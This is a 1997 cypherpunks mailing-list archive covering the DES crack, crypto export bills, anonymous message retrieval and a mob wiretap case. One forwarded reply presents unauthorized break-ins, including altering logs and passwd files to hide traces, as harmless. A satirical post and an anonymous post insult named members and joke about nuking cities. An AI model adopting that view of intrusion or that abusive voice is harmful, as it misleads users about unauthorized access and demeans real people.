           A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Server 1:  1 0 1 1 0 1 0 0 1 0 1 0 0 0 1 0 1 1 0 1 0 1 0 0 1 1
Server 2:  0 1 1 0 1 1 1 0 1 0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 0 0
Server 3:  1 1 0 1 1 0 1 0 0 0 1 0 1 0 1 1 0 0 0 0 0 1 0 1 1 1


So server 1 sends back the xor of messages A,C,D,F...Z; server 2 sends
back the xor of B,C,E,F,G...etc.  The xor of all of that cancels out
everything except Message Q.  But as long as at least one of the servers
doesn't keep logs then nobody will know that except the person who
downloaded it. 

Clever.  It sure beats reply-blocks.  :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 19 Jun 1997 12:19:35 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: index.html
Message-ID: <199706190345.WAA03874@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   US navbar 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner Start your retirement planning using Portrait Planning.
   Click Here. 
   
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             REPUTED MOBSTER'S ADMISSION MAY CAUSE CASE TO CRUMBLE
                                       
      Mercurio
     
     June 18, 1997
     Web posted at: 9:47 p.m. EDT (0147 GMT)
     
     BOSTON (CNN) -- The trial of reputed mob boss Frank "Cadillac"
     Salemme was thrown into disarray Wednesday when mob journeyman
     Angelo "Sonny" Mercurio told a U.S. District Court he had been an
     informant for the FBI.
     
     The dramatic admission came after federal Judge Mark Wolf asked
     Mercurio if he had been an informant for the FBI in 1989 -- the same
     year his pals were being wiretapped by the agency. Mercurio, who is
     serving time in Georgia for marijuana possession, faced a jail
     sentence for contempt if he did not answer the question.
       _______________________________________________________________
     
  PEG TYRE's report as seen on CNN
  
      VXtreme logo VXtreme Streaming Video 
       _______________________________________________________________
     
     
     
     "Yes," he replied in a loud and clear voice. His disclosure could
     threaten the government's case against Salemme, the reputed head of
     the New England Mafia, and four other reputed mobsters.
     
     Mercurio's answer raises questions about whether the Justice
     Department misled a federal judge to get a wiretap that helped lead
     to the conviction of other organized crime figures.
     
     Judges will not grant wiretaps if they know authorities
     haveinvestigative alternatives, such as informers.
     
     "It is an important part of a mosaic that we're going to build to
     argue that there has been outrageous government misconduct in this
     case and ask for a retrial," defense attorney John Mitchell said.
     
     Salemme's lawyers say they'll ask that the wiretaps be thrown out.
     If the judge agrees, the case against Salemme, as well as mobsters
     already convicted on wiretap evidence, could be in jeopardy.
     
  Judge says government's credibility is at stake
  
     
     
     The government's case against Salemme hinges on a wiretap recording
     of a ceremonial induction into the Patriarca crime family in
     Medford, Massachusetts, in 1989.
     
     The wiretap information led to convictions against Salemme's alleged
     predecessor, Raymond "Junior" Patriarca, and several others.
     
     Mercurio's admission proved the FBI lied in sworn statements they
     used to get permission for the tap. Agents claimed they needed the
     electronic surveillance of the induction, when instead they had
     Mercurio on the inside to help them. Scarpa
     
     "The entire premise and entire foundation of the tap may well be
     rotten, and the tape will be suppressed," defense attorney Anthony
     Cardinale said.
     
     It also potentially undermines 20 major mob convictions in New
     England.
     
     "I think FBI agents have gotten the message from the courts and from
     Congress that in organized crime cases, anything goes," criminal
     defense attorney Gerald Shargel said.
     
     Wolf said he will continue to press to see if the FBI obtained other
     wire taps by providing false information. At issue he says is the
     credibility of the government in the eyes of its federal judges.
     
     Correspondent Peg Tyre contributed to this report  rule
     
  Read the next US story:
  
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  Related stories:
  
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       May 30, 1997
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  Related sites:
  
     * US Mafia, Short History & Key Players
          + Patriarca, Raymond L.S.
     * CSS Organized Crime Menu
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       Magazine
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 19 Jun 1997 12:14:34 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [?????] PGP 5.0 Freeware is available from ???
Message-ID: <199706190401.XAA31109@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970618192907.007707dc@popd.ix.netcom.com>, on 06/18/97 
   at 07:29 PM, Bill Stewart <stewarts@ix.netcom.com> said:

>5) Does US law have any say over whether you can import it from
>	the Nederlands to Turkey?  (Not really...)

Shhhhhhh... don't tell the State Dept. They think they have a say in what
the rest of the world does. Ofcource seeing how many governments cave in
to these little fasists bastards it's no wonder they think that they rule
the world.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6ivdY9Co1n+aLhhAQE7NgQAu5zF1HbjYE1ce7Q5bH1bzSw8h6uewcwM
v9An7rEKQXQgdF0IPtxKEfr3rkRzF2CmMe/+Gizuz+umLiIfCl9SwLflb0nXgwdx
Ftd3NRWQF52sTsS9PhCfs8/4Y7vZA+YjKo8fHHKK0c51px+3eoLHeyDMJCzJvPCM
iTU5/3ei+RA=
=CoLC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 19 Jun 1997 12:14:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [?????] PGP 5.0 Freeware is available from ???
Message-ID: <199706190403.XAA31145@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970618192907.007707dc@popd.ix.netcom.com>, on 06/18/97 
   at 07:29 PM, Bill Stewart <stewarts@ix.netcom.com> said:

>5) Does US law have any say over whether you can import it from
>	the Nederlands to Turkey?  (Not really...)

Shhhhhhh... don't tell the State Dept. They think they have a say in what
the rest of the world does. Ofcource seeing how many governments cave in
to these little fasists bastards it's no wonder they think that they rule
the world.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6iwCI9Co1n+aLhhAQGa0QP+IaAeYwvUQtVVOC9pKw7n1gYSsZcm9KVE
vVcuxiC9E1DU4EAwkbzpUlFweJiVucyaolt92fV1mamb9uBLk68ucg02cjhuXi92
LG4fJb4II9bhSWVxiKNbRrkJkTma/5lNCJaU+wOl28S9TFYfgIVd3JERmCf3nQYX
ZdhTf51uet8=
=acVF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 19 Jun 1997 12:24:20 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: index.html
In-Reply-To: <199706190345.WAA03874@einstein.ssz.com>
Message-ID: <199706190418.XAA31337@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706190345.WAA03874@einstein.ssz.com>, on 06/18/97 
   at 10:45 PM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

> Wolf said he will continue to press to see if the FBI obtained other
>     wire taps by providing false information. At issue he says is the
>     credibility of the government in the eyes of its federal judges.
>     

They have never had any credibility the federal judges have just had their
eyes closed.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 19 Jun 1997 14:41:50 +0800
To: cypherpunks@cyberpass.net
Subject: DES is dead. RC5 is next.
Message-ID: <3.0.2.32.19970618232220.00756954@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Now that a stake has finally been put through the heart of DES, let's all
join in breaking RC5-56.

See my signature for details.

Thanks for you help,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Thu, 19 Jun 1997 11:37:10 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Impact of Netscape kernel hole (fwd)
In-Reply-To: <Pine.GSO.3.96.970617151502.27880A-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970618232348.006df394@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Now that Netscape has included and made available a patch re: the "hole"
specifically for its new Communicator, does anyone have any info if and when
patches are going to be available for 3.x versions?  I didn't see anything on
their web page regarding 3.x versions except for the suggestion [old news] of
enabling the security alert.


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*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Thu, 19 Jun 1997 15:15:11 +0800
To: alan@ctrl-alt-del.com
Subject: Re: INFORMATION
Message-ID: <199706190656.XAA27541@f34.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain





----Original Message Follows----
>From owner-cypherpunks@cyberpass.net Wed Jun 18 23:17:57 1997
Received: (from majordom@localhost) by sirius.infonex.com (8.8.5/8.7.3) 
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X-Sender: alano@mail.teleport.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 b4 (32)
Date: Wed, 18 Jun 1997 22:13:25 -0700
To: twinsvideo@infosel.net.mx
From: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: INFORMATION
Cc: cypherpunks@toad.com
In-Reply-To: <Chameleon.970618185549.twinsvideo@infosel.infosel.net.mx>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-cypherpunks@cyberpass.net
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Reply-To: Alan Olsen <alan@ctrl-alt-del.com>
X-List: cypherpunks@cyberpass.net
X-Loop: cypherpunks@cyberpass.net

At 06:46 PM 6/18/97 PDT, twinsvideo@infosel.net.mx wrote:
>
>donn't think that i'm lame or somthin' but i realy need information on 
how
to hack so, could you please tell me how to hack 
>and what do i need in order to hack.

I suggest really strong turkish cigarettes.  Smoke them constantly and 
soon
you will be hacking before you know it.

>don't worry i won't get into trouble.

Depends on the age of tobacco purchace in your state.  You might have to
get into High School before trying the above method.

>please hurry it's urgent.

That is what they all say...

===================================================================

Hacking is something that you learn on your own. While there are a few 
folks that will show you the ropes, you have to learn on your own. 
Knowledge is precious, and even more so when you gain it through your 
own bllod sweat and tears.  I hope you really mean hacking, and NOT 
cracking. There are many of us in the hacking community that are ticked 
off because the media and the government have lumped us hackers in with 
the Crackers. Crackers are folks that enter systems for no other reason 
that malicous damage of systems and vital infromation. These folks are 
usually punk kids out to romp around Cyberspace doing damage for kicks. 
There are professional crackers but are usually hired by governments and 
major corporations for either "NAtional Security" reasons or plain old 
Corporate espianage. Hackers on the other hand, are folks that believe 
in the free exchange and flow of information, and yearn for knowledge. 
While they occationally do break into systems, it is usually only for 
the challenge of doing so and NOT with the intent of causing damage. 
Most hackers that enter systems, will usually clean up after themselves 
after merely looking around the system for awhile just to see what is 
there with no intent to cause harm, only making modifications to logs 
and passwd files to clear traces of their entry. They NEVER damage files 
intentionally and that is a MAJOR no no with most folks in the real 
hacking community. Some hackers even go so far as to tell they System 
Administrators of the systems they enter that they did so, and how they 
did it so the Admins may plug the holes.  Unfortunately, the government 
and the media have placed us within the same catagories as the 
Darksiders. I, for one, do hope you are a hacker and not trying to 
become a cracker.



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer Mixmaster Remailer <lucifer@dhp.com>
Date: Thu, 19 Jun 1997 12:14:09 +0800
To: cypherpunks@cyberpass.net
Subject: Declan as a Crime Beat Reporter
Message-ID: <199706190400.AAA00467@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain




> hee, hee, I hope that Declan comes up with an amusing mishmash of your
> own life. turnabout is fair play. maybe if he doesn't, someone else
> can take a stab at satirizing mr. debauched millionaire playboy
> who dabbles in cryptography theory.


An interview with cypherpunks founder Timothy C May, Jim Bell 
and various other Cypherpunks also present.
Interview conducted by Declan McCullagh


Declan: 

Tim, can you tell us how you first became interested in the use
of cryptography to preserve freedoms supposedly guaranteed by
the constitution.

Tim:

Well, I had just quit working at Intel, where I made more money than
all of you put together, when I really started to get interested 
in cryptography, At the first physical meeting, when John, Eric and I
had just founded the cypherpunks, we discussed anonymity, digital
cash and compared rifle collections.

Jim: 

Something wonderful is about to happen.

Tim:

No it isn`t, I thought of anonymous digital assasination contracts
first, now everyone calls it AP, and you get all the publicity 
(Tim reaches for his .45).

Declan:

Calm down, I`m sure it isn`t that simple.

Tim:

Yes it is, lets nuke D.C.

Dimitri:

Tim May blows small children, and is an anti semetic bigot.

Graham-John Bullers:

I think we should all send Vulis back 10 copies of this

Truthmonger:

Nuke Ottowa too.

Kent Crispin:

Nuking anywhere is just an adolescent fantasy

Vladimir Z Nuri:

I agree

Tim May:

No it isn`t, go away Kent.

Paul Bradley:

Yes indeed, nuke London as well.

Ray Arachelian:

There should be a law against this, surely it`s an infringement of privacy!

Dimitri:

Ray Arachelian is a dandruff covered censorous purebred sovok forger.

Se7en:

Lets hack their servers and erase all the kiddie porn.

Truthmonger:

I propose 3 minutes of silence for Tim McVeigh

Dimitri:

Ah, so you are trying to censor us then, Truthmonger is really Chris 
Lewis, who is also really Richard Depew.
ObTruthMongerFodder: Tim McVeigh is a murderous cocksucker

Hallam-Baker:

AP is a murder and censorship scheme.

Tim May:

I thought of this and wrote an essay on it back in `78 when most of
you were still in high school, I probably posted it once, trawl the
archives and you shall be enligtened.

Jerry K U-Ramos:

Break this, because we are so confident in the strenth of our cipher
we are giving you a week to cryptanalyse it, if you can`t, it must
be unbreakable.

Tim May:

This offer of a prize for cryptanaysis is highly suspect, I am now
placing rifles in strategic positions, lock and load.
I remember a similar offer back in `64, before most of you were born,
(mumble, mumble, mumble)...

Toto:

I`m sure the NSA have something to do with it, or is that the CIA, the 
FBI, the DEA ??? I don`t remember, but it`s some scary TLA composed 
entirely of men in long black coats.

Kent Crispin:

Lets be realistic about it, you are all obsessed with assasination.

Vladimir Z Nuri:

I agree (In a post only 3 seconds later than Kents original one, I wonder 
how that could happen? ;-)) 

Declan:

None of you understand, I have to attend dinner parties, like the one 
with Steve and Bill the other night, to get information for my articles.

Tim May:

I thought of this back in `84 too, I concluded that people should read 
what I say more carefully, and you *might* sell out in future.

Jim Bell:

Something wonderful is about to happen

Tim May:

Jim, you are killfiled for being a loon.

Declan:

Right, I`m sorry but we appear to have run out of time, we`ll have to go 
home.

Dimitri:

So you are trying to censor us then.
Declan McCullagh is a cocksucker

Tim starts packing the several dozen rifles he brought with him back into 
boxes.

Everyone gets in their cars to go home, except Tim May who brought his 
tank with him.


THE END






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Thu, 19 Jun 1997 12:52:10 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Declan as a Crime Beat Reporter
In-Reply-To: <199706190400.AAA00467@dhp.com>
Message-ID: <3.0.2.32.19970619004016.0069e770@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:00 AM 6/19/97 -0400, lucifer Mixmaster Remailer wrote:
>
>An interview with cypherpunks founder Timothy C May, Jim Bell 
>and various other Cypherpunks also present.
>Interview conducted by Declan McCullagh
>
<snipped>

Normally, I'd write this privately to the author but, in this case, you get a
public "hats off".  Obviously written by an individual who's been on cpunks
for a while.

Thanks for a good read....
  
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*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 19 Jun 1997 19:22:42 +0800
To: cypherpunks@toad.com
Subject: Re: E-Cash
Message-ID: <199706191100.EAA28681@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May is another loser who pays for got.net because he lacks the 
mental capacity to gain net access as a perk of either employment 
or academic achievment.

          ((__)) Tim May
           (00)
          (o__o)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Thu, 19 Jun 1997 16:45:40 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: DES is dead. RC5 is next.
In-Reply-To: <3.0.2.32.19970618232220.00756954@netcom9.netcom.com>
Message-ID: <199706190839.EAA28617@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green writes:

: Now that a stake has finally been put through the heart of DES, let's all
: join in breaking RC5-56.
: 
: See my signature for details.
: 
: Thanks for you help,
: 
: --Lucky Green <shamrock@netcom.com>
:   PGP encrypted mail preferred.
:   DES is dead! Please join in breaking RC5-56.
:   http://rc5.distributed.net/

I would like like to help and I have two or three boxes that could
be used.  But the print on your web page is so small that I am not
sure I will be able to read the instructions.

Is there some reason for making the instructions so cryptic?

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 19 Jun 1997 20:53:43 +0800
To: cypherpunks@toad.com
Subject: Crypto-compromises in Washington: Burns offers ProCODE II
Message-ID: <Pine.GSO.3.95.970619052745.4976C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Rocke Verser's announcement couldn't have come at a
more embarrassing time for the White House. At 3:46 pm
yesterday, after five months of painstaking work, the
Colorado computer consultant fired off an excited
message to the DES challenge mailing list: "WE FOUND IT!"

Verser was talking about his group's successful crack
of a message scrambled with the 56-bit DES encryption
standard. When subjected to the massive computing
power of thousands of machines around the globe, the
enciphered message finally yielded the secret phrase,
"Strong cryptography makes the world a safer place."

That's exactly what the Clinton administration didn't
want to hear. For years top government officials have
argued the opposite, that strong cryptography makes
the world a less secure place where criminals and
terrorists can scheme with impunity. The White House
has long wanted to ensure that it can listen in to all
electronic communications through schemes like "key
escrow" or the Clipper Chip.

Today the Senate Commerce committee is scheduled to
vote on two competing crypto-bills, one backed by the
White House and one backed by industry and some
privacy groups. And now, I've learned, some of
cryptography's most loyal supporters on the Hill are
talking about cutting a deal...

---

I ran into Jim Bidzos, head of RSA Data Security
(which sponsored the DES challenge), at a party in the
Watergate last night. "Export regulations are a
dinosaur," he said. "But it's a dinosaur that'll take
out a lot of the city during its death struggles."
Bidzos is testifying before a House Science panel
today and plans to stress the problems of 56-bit DES;
only 128-bit DES is generally regarded as reasonably
secure...

---

Washington is a city of complexity, painful
complexity, when it comes to encryption. Three
different lawsuits are challenging the
constitutionality of last year's Federal
crypto-regulations. This year's Commerce Department
regulations add up to an eye-straining 16,000 words.
Four different bills are moving through Congress, and
the legislative jockeying is even more abstruse.

But throughout this muddle, one point remains clear:
The Clinton administration wants to hold on to the
status quo as long as possible. That means no judicial
or legislative tinkering -- and, above all, no general
lifting of export controls on encryption products.
Even as officials admit privately that attempts to
prop up these Cold War rules are eventually doomed,
they argue publicly that removing the rules would be
catastrophic. "The proliferation of unbreakable
encryption would seriously and fundamentally
threaten... critical and central public safety
interests," FBI director Louis Freeh said earlier this
month.

For Freeh, the best way to stall for time was to take
the battle to Congress. Earlier this week Sen. Bob
Kerrey (D-Neb.) and Sen. John McCain introduced a bill
that included everything Freeh and the White House
desired: sections creating new Federal crimes for some
uses of crypto and an all-but-mandatory key escrow
infrastructure. The goal: to facilitate government
access to any private data.

Privacy advocates leaped to savage it. "The bill
threatens any prospect of privacy and security in
electronic commerce and on the Internet by opening a
huge window of vulnerability to the private data and
communications of encryption users," the Center for
Democracy and Technology cried. EPIC's Dave Banisar
told me it was a "poison pill strategy designed to
kill" pro-crypto legislation.

The many problems with the bill normally would be bad
enough, but it's zooming through Congress at an almost
supersonic velocity. Thanks to the sponsorship of
McCain, the powerful Senate commerce committee chair,
the committee is scheduled to vote on it today,
without even holding hearings. This could mean the
death of a bill introduced last year, then
reintroduced this year by Sen. Conrad Burns (R-Mont.).
Called "ProCODE," privacy advocates say it's the best
of all the crypto bills in Congress (but then again,
that's not saying much).

---

In Washington politics, perhaps the worst thing that
can be said about you is that you're unwilling to
compromise. So it should come as no surprise that the
McCain-Kerrey bill prompted Burns himself to offer a
substitute ProCODE bill that will be unveiled at the
markup session today. "People would say Burns hasn't
moved on this issue and he's not willing to
compromise. He needs to put something on the table so
he can credibly say he has a compromise too. Otherwise
it seems like he's not willing to play the game," one
Hill observer told me yesterday.

"ProCODE II" would allow the export of up to 56-bit
DES -- yes, the very same bit length that was cracked
yesterday -- only in some circumstances and give the
FBI and the CIA more of a say on an encryption panel
the bill creates, sources say. (For their part, Burns'
staff characterizes it as having only "slight
differences" from ProCODE I.)

This legislative jockeying takes place against a
backdrop of rivalries between Burns and McCain that
stretch far beyond encryption. Burns introduced an
amendment on a spectrum auction bill that gutted
McCain's proposal. A recent National Journal story
played up the rift, and only resulted in widening it.

McCain's insistence on endorsing the administration's
-- and thus the national security establishment's --
position shouldn't be surprising, even if McCain was
one of the original sponsors of ProCODE last year. He
told Wired Magazine's Todd Lappin in March that "we
need to find a middle ground" on crypto: "It's pretty
clear that the administration's crypto proposals will
have a harmful effect upon the industry. But we can't
completely ignore the warnings we get from the heads
of the FBI and the National Security Agency... If the
president of the United States vetoes a crypto bill we
pass, I doubt we'll be able to override his veto."

Then there's the Senate Judiciary committee. Its
chairman, Sen. Orrin Hatch (R-Utah), said last week
that he may introduce an alternative bill to relax
export controls on encryption technology. But he's
also talking about requiring key escrow in certain
circumstances. Judiciary is holding a hearing next
Wednesday on key escrow; the FBI's Freeh is scheduled
to testify. For his part, Hatch has control of a
crypto bill introduced by Sen. Patrick Leahy (D-Ver.)
and could block legislation that other committtees
report.

---

Now the focus is on today's scheduled vote in Senate
Commerce. Sources say Sen. Bill Frist (R-Tenn.) is
planning to introduce amendments to the McCain bill
that would weaken it. They would delay the
implementation of some portions by a year. They would
also require that NIST, the Department of Justice, and
the Department of Defense publish guidelines on key
recovery.

Today senators will be faced with a series of
unpleasant choices: approve the McCain-Kerrey bill
(sponsored by the chair), approve the original ProCODE
bill, or approve ProCODE II. Certainly some senators
would be wary of endorsing a measure that they haven't
had time to read. The buzz, however, on the Hill is
that McCain doesn't have the votes for his bill and
may postpone the vote after all.

What all this legislative turmoil means is exactly
what McCain predicted in March: for a bill to get out
of committee, there has to be a compromise. As I wrote
in a recent Netly News column, members of Congress are
driven by a fierce, desperate urge to compromise. The
drive is primal: legislators are compelled to find a
middle ground. But to their chagrin, crypto doesn't
offer one. Either you keep a copy of the electronic
keys to your files or someone else does -- which is
exactly what the White House wants. Either you're free
to speak privately over the Net using PGP, or you're
not -- which is exactly what the White House also
wants.

That's why the only sane answer to the encryption
struggle might be to wait for the courts to strike
down export controls as unconstitutional. They're
moving forward: a Federal court yesterday heard
arguments in the Bernstein case. (Sure, it would put
would-be crypto lobbyists out of business overnight,
but that sounds like a good thing to me.) Congress
can't be trusted not to compromise away fundamental
liberties, and any bill that makes it past McCain,
Hatch, and Kerrey -- not to mention their counterparts
in the House -- is almost certain to include some key
escrow provisions.

A veteran lobbyist told last night that this could
indeed happen -- but only if high tech firms and
their Washington lobbyists sell out our privacy
by accepting relaxed export controls in exchange
for domestic controls on the use of encryption.
Businesses might make money, but American
consumers would be the ultimate losers...

Additional articles:

http://pathfinder.com/netly/editorial/0,1012,931,00.html

http://pathfinder.com/netly/opinion/0,1042,1022,00.html

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 12:32:36 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: Receiving Messages Anonymously
In-Reply-To: <v02140b01afcbb73285d2@[206.184.194.206]>
Message-ID: <199706190425.GAA27164@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



pdh@best.com (Peter Hendrickson) wrote:

> Receiving anonymous messages is still an open problem.  The solutions
> we have so far are cumbersome to operate.  They also depend on a chain
> of machines remaining up and reliable for a long time, which is
> expensive.
> 
> A quick solution is to use the list to send anonymous messages.  It is
> inexpensive to tell if a message is encrypted for a key you control so
> it is cheap to find messages you can read.


An anonymous message pool.  How is this different from posting to
alt.anonymous.messages?  (Other than it would annoy list readers. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 12:53:18 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: Recipient Anonymity
Message-ID: <199706190442.GAA28837@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Matt Ghio wrote:

> A group of servers collects messages of equal length for anonymous
> recipients.  All servers exchange messages so that each has copies of all
> messages.
> 
> A recipient wishes to retrieve a message from the servers without any
> server knowing which message he is receiving.  The recipient selects a
> group of n servers.  From each server, S_1...S_n-1, he requests a random
> selection of messages, with a 50% probability that any particular message
> will be selected.  The server returns the xor of all messages requested.
> He sends the final server a request which is the xor of all the previous
> requests and the one single message that he wants.
> 
> The xor of all the responses is the desired message.  It is impossible to
> determine which message was received unless all servers collude.


So what you're saying is:

                             - Messages - 
           A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Server 1:  1 0 1 1 0 1 0 0 1 0 1 0 0 0 1 0 1 1 0 1 0 1 0 0 1 1
Server 2:  0 1 1 0 1 1 1 0 1 0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 0 0
Server 3:  1 1 0 1 1 0 1 0 0 0 1 0 1 0 1 1 0 0 0 0 0 1 0 1 1 1


So server 1 sends back the xor of messages A,C,D,F...Z; server 2 sends
back the xor of B,C,E,F,G...etc.  The xor of all of that cancels out
everything except Message Q.  But as long as at least one of the servers
doesn't keep logs then nobody will know that except the person who
downloaded it. 

Clever.  It sure beats reply-blocks.  :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 19 Jun 1997 22:39:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001F962@MEX3976BCAOP1>
Message-ID: <19970619071935.51047@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jun 19, 1997 at 09:21:59AM +0000, Paul Bradley wrote:
> 
> > > "That DES can be broken so quickly should send a chill through the
> > >heart of anyone relying on it for secure communications,"
> > 
> > I'm shitting bricks. No mention was made that only 25% of the keyspace
> > was tested.
> 
> Not only that, but single DES with a 56 bit key is just not being used 
> anymore in any company which has the slightest clue.

This is false, of course.  Many companies with the slightest clue use 
single DES.  Also, someone pointed out that the combined efforts 
probably had independently done 50% of the keyspace.

> If they can run a 
> distributed crack on 3DES with independent subkeys then I`ll give them 
> some attention.
> 
> I`m not downgrading the effort, 

This is false, too.  Doublespeak at it's finest.

>Joe "wired reader" Sixpack doesn`t know 
> the difference between DES, 3DES and his ass anyway, so it is a 
> significant publicity stunt that will get normal non-specialist people 
> thinking about the export laws, and about how quickly DES can be broken 
> by the government if it can be broken by a few guys on the internet in 
> months. All I am saying is that looking at it from a purely scientific 
> point of view it is not a great cryptanalytic achievement, merely a PR stunt.

It is a *GREAT* achievement on several fronts, crypto included. 
Another front that was equally important, IMO was as a demonstration
of what loosely coordinated distributed computing can do. 

Of course, it was also a PR stunt, and it is working on that front, 
as well.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 19 Jun 1997 23:30:15 +0800
To: cypherpunks@toad.com
Subject: Re: Crypto-compromises in Washington: Burns offers ProCODE II
Message-ID: <199706191514.IAA03521@fat.doobie.com>
